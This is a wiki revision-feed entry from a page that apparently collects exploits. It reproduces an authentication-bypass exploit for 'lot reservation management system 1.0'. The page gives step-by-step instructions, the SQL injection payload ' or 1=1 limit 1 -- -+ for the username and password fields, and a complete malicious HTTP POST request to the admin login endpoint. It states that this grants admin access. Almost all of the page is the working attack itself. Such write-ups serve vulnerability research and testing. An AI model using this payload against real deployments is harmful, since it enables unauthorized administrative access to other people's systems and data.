https://pwnwiki.com/index.php?action=history&feed=atom&title=Lot_Reservation_Management_System_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E 2026-04-20T23:47:14Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Lot_Reservation_Management_System_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&diff=1283&oldid=prev 2021-04-08T09:57:31Z

<p>Created page with &quot;==EXP== &lt;pre&gt; #Exploit Title: lot reservation management system 1.0 - Authentication Bypass #Date: 2020-10-22 #Exploit Author: Ankita Pal #Vendor Homepage: https://www.sourcec...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> #Exploit Title: lot reservation management system 1.0 - Authentication Bypass<br /> #Date: 2020-10-22<br /> #Exploit Author: Ankita Pal<br /> #Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html<br /> #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip<br /> #Version: V1.0<br /> #Tested on: Windows 10 + xampp v3.2.4<br /> <br /> <br /> Proof of Concept:::<br /> <br /> Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php <br /> <br /> Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.<br /> <br /> <br /> Malicious Request:::<br /> <br /> POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1<br /> Host: localhost:8081<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0<br /> Accept: */*<br /> Accept-Language: en-GB,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br /> X-Requested-With: XMLHttpRequest<br /> Content-Length: 71<br /> Origin: http://localhost:8081<br /> Connection: close<br /> Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php<br /> Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id<br /> <br /> username='+or+1%3D1+limit+1+--+-%2B&amp;password='+or+1%3D1+limit+1+--+-%2B<br /> <br /> You will be login as admin of the application.<br /> &lt;/pre&gt;</div>

Pwnwiki